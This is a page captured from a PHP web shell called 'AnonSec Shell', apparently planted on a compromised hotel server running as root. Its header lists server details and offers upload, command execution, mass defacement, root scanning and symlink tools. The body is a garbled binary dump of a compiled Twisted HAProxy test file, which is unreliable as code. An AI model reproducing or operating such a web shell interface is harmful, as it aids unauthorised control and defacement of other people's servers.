AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.128   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/twisted/protocols/haproxy/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/twisted/protocols/haproxy/test/__pycache__/test_wrapper.cpython-310.pyc
o

�b�6�@s�dZddlmZddlmZddlmZddlmZm	Z	ddl
mZddlmZdd	l
mZGd
d�de	�ZGdd
�d
ej�ZGdd�dej�ZdS)z>
Test cases for L{twisted.protocols.haproxy.HAProxyProtocol}.
�)�Optional)�mock)�address)�Factory�Protocol)� StringTransportWithDisconnection)�unittest�)�HAProxyWrappingFactoryc@s,eZdZdZd	dd�Zdeddfdd�ZdS)
�StaticProtocolz6
    Protocol stand-in that maintains test state.
    �returnNcCsd|_d|_d|_d|_dS)N�F)�source�destination�data�disconnected)�self�r�M/usr/lib/python3/dist-packages/twisted/protocols/haproxy/test/test_wrapper.py�__init__s
zStaticProtocol.__init__rcCs4|jsJ�|j��|_|j��|_|j|7_dS)N)�	transport�getPeerr�getHostrr)rrrrr�dataReceiveds
zStaticProtocol.dataReceived�rN)�__name__�
__module__�__qualname__�__doc__r�bytesrrrrrrs
rc@s`eZdZdZddd�Zddd�Zddd	�Zdd
d�Zddd
�Zddd�Z	ddd�Z
ddd�ZdS)�HAProxyWrappingFactoryV1Testsz]
    Test L{twisted.protocols.haproxy.HAProxyWrappingFactory} with v1 PROXY
    headers.
    rNcCsRtt�t��}|�t�ddd��}t�}||_|�	|�|�
d�|�|j�dS)�J
        Test if invalid headers result in connectionLost events.
        �TCP�	127.1.1.1�sNOTPROXY anything can go here
N�
r
r�forProtocolr�
buildProtocolr�IPv4Addressr�protocol�makeConnectionr�assertFalse�	connected�r�factory�protorrrr�test_invalidHeaderDisconnects)s�

z;HAProxyWrappingFactoryV1Tests.test_invalidHeaderDisconnectscCs\tt�t��}|�t�ddd��}t�}||_|�	|�|�
d�|�
d�|�|j�dS)r!r"r#r$sPROXY TCP4 1.1.1.1
s2.2.2.2 8080
Nr%r-rrr�$test_invalidPartialHeaderDisconnects7s�


zBHAProxyWrappingFactoryV1Tests.test_invalidPartialHeaderDisconnectscCsltt�t��}|�t�ddd��}ttj	j
tj	jd�}|�|�|�
|��tj	j
�|�
|��tj	j�dS)z�
        Before any data is received the HAProxy protocol will return the same peer
        and host as the IP connection.
        r"�	127.0.0.1r$)�hostAddress�peerAddressN)r
rr&rr'rr(rr�sentinel�host_address�peer_addressr*�assertEqualrrr-rrr� test_preDataReceived_getPeerHostFs��
z>HAProxyWrappingFactoryV1Tests.test_preDataReceived_getPeerHostcCs�tt�t��}|�t�ddd��}t�}|�|�|�	d�|�
|��jd�|�
|��j
d�|�
|jj��jd�|�
|jj��j
d�|�
|��jd�|�
|��j
d�|�
|jj��jd�|�
|jj��j
d�dS)	�P
        Test if IPv4 headers result in the correct host and peer data.
        r"r2r$s&PROXY TCP4 1.1.1.1 2.2.2.2 8080 8888
z1.1.1.1z2.2.2.2�"N)r
rr&rr'rr(rr*rr8r�host�port�wrappedProtocolrrr-rrr�(test_validIPv4HeaderResolves_getPeerHostW�6�

����zFHAProxyWrappingFactoryV1Tests.test_validIPv4HeaderResolves_getPeerHostcCs�tt�t��}|�t�ddd��}t�}|�|�|�	d�|�
|��jd�|�
|��j
d�|�
|jj��jd�|�
|jj��j
d�|�
|��jd�|�
|��j
d�|�
|jj��jd�|�
|jj��j
d�dS)�P
        Test if IPv6 headers result in the correct host and peer data.
        r"�::1r$sPROXY TCP6 ::1 ::2 8080 8888
z::2r;N)r
rr&rr'r�IPv6Addressrr*rr8rr<r=r>rrr-rrr�(test_validIPv6HeaderResolves_getPeerHostwr@zFHAProxyWrappingFactoryV1Tests.test_validIPv6HeaderResolves_getPeerHostcCsPtt�t��}|�t�ddd��}t�}|�|�|�	d�|�
|jjd�dS)�N
        Test if non-header bytes are passed to the wrapped protocol.
        r"rBr$s,PROXY TCP6 ::1 ::2 8080 8888
HTTP/1.1 / GET�HTTP/1.1 / GETN�
r
rr&rr'rrCrr*rr8r>rr-rrr�'test_overflowBytesSentToWrappedProtocol�s�

zEHAProxyWrappingFactoryV1Tests.test_overflowBytesSentToWrappedProtocolcCsZtt�t��}|�t�ddd��}t�}|�|�|�	d�|�	d�|�
|jjd�dS)�K
        Test if header streaming passes extra data appropriately.
        r"rBr$�PROXY TCP6 ::1 ::2 �8080 8888
HTTP/1.1 / GETrFNrGr-rrr�-test_overflowBytesSentToWrappedProtocolChunks�s�


zKHAProxyWrappingFactoryV1Tests.test_overflowBytesSentToWrappedProtocolChunkscCsdtt�t��}|�t�ddd��}t�}|�|�|�	d�|�	d�|�	d�|�
|jjd�dS)	zT
        Test if wrapper writes all data to wrapped protocol after parsing.
        r"rBr$rJrKs

sHTTP/1.1 / GET

NrGr-rrr�,test_overflowBytesSentToWrappedProtocolAfter�s�



zJHAProxyWrappingFactoryV1Tests.test_overflowBytesSentToWrappedProtocolAfterr)rrrrr0r1r9r?rDrHrLrMrrrrr #s




 
 

r c@sdeZdZdZdZdZdZdeeZddd	�Zdd
d�Z	ddd
�Z
ddd�Zddd�Zddd�Z
dS)�HAProxyWrappingFactoryV2Testsz]
    Test L{twisted.protocols.haproxy.HAProxyWrappingFactory} with v2 PROXY
    headers.
    s


QUIT
!�"�s4


QUIT
!!$�"�sl/home/tests/mysockets/socks


QUIT
!1�rNcCs`tt�t��}|�t�ddd��}t�}||_|�	|�|�
d|jdd��|�|j
�dS)r!r"rBr$��N)r
rr&rr'rrCrr)r*r�
IPV4HEADERr+r,r-rrrr0�s�
z;HAProxyWrappingFactoryV2Tests.test_invalidHeaderDisconnectscCs�tt�t��}|�t�ddd��}t�}|�|�|�	|j
�|�|��j
d�|�|��jd�|�|jj��j
d�|�|jj��jd�|�|��j
d�|�|��jd�|�|jj��j
d�|�|jj��jd�dS)r:r"r2r$r;N)r
rr&rr'rr(rr*rrQr8rr<r=r>rrr-rrrr?�6�
����zFHAProxyWrappingFactoryV2Tests.test_validIPv4HeaderResolves_getPeerHostcCs�tt�t��}|�t�ddd��}t�}|�|�|�	|j
�|�|��j
d�|�|��jd�|�|jj��j
d�|�|jj��jd�|�|��j
d�|�|��jd�|�|jj��j
d�|�|jj��jd�dS)rAr"rBr$z0:0:0:0:0:0:0:1r;N)r
rr&rr'rr(rr*r�
IPV6HEADERr8rr<r=r>rrr-rrrrD(rRzFHAProxyWrappingFactoryV2Tests.test_validIPv6HeaderResolves_getPeerHostcCs�tt�t��}|�t�d��}t�}|�|�|�	|j
�|�|��j
d�|�|jj��j
d�|�|��j
d�|�|jj��j
d�dS)zP
        Test if UNIX headers result in the correct host and peer data.
        s/home/test/sockets/server.socks/home/tests/mysockets/sockN)r
rr&rr'r�UNIXAddressrr*r�
UNIXHEADERr8r�namer>rrr-rrr�(test_validUNIXHeaderResolves_getPeerHostHs"�
��zFHAProxyWrappingFactoryV2Tests.test_validUNIXHeaderResolves_getPeerHostcCsVtt�t��}|�t�ddd��}t�}|�|�|�	|j
d�|�|jj
d�dS)rEr"rBr$rFN�r
rr&rr'rrCrr*rrSr8r>rr-rrrrH^s�
zEHAProxyWrappingFactoryV2Tests.test_overflowBytesSentToWrappedProtocolcCsrtt�t��}|�t�ddd��}t�}|�|�|�	|j
dd��|�	|j
dd�d�|�|jj
d�dS)rIr"rBr$N�rFrXr-rrrrLks�
zKHAProxyWrappingFactoryV2Tests.test_overflowBytesSentToWrappedProtocolChunksr)rrrrrQrS�
_SOCK_PATHrUr0r?rDrWrHrLrrrrrN�s(���	���


 
 

rNN)r�typingrrr�twisted.internetr�twisted.internet.protocolrr�twisted.test.proto_helpersr�
twisted.trial�_wrapperr
r�TestCaser rNrrrr�<module>s 

Anon7 - 2022
AnonSec Team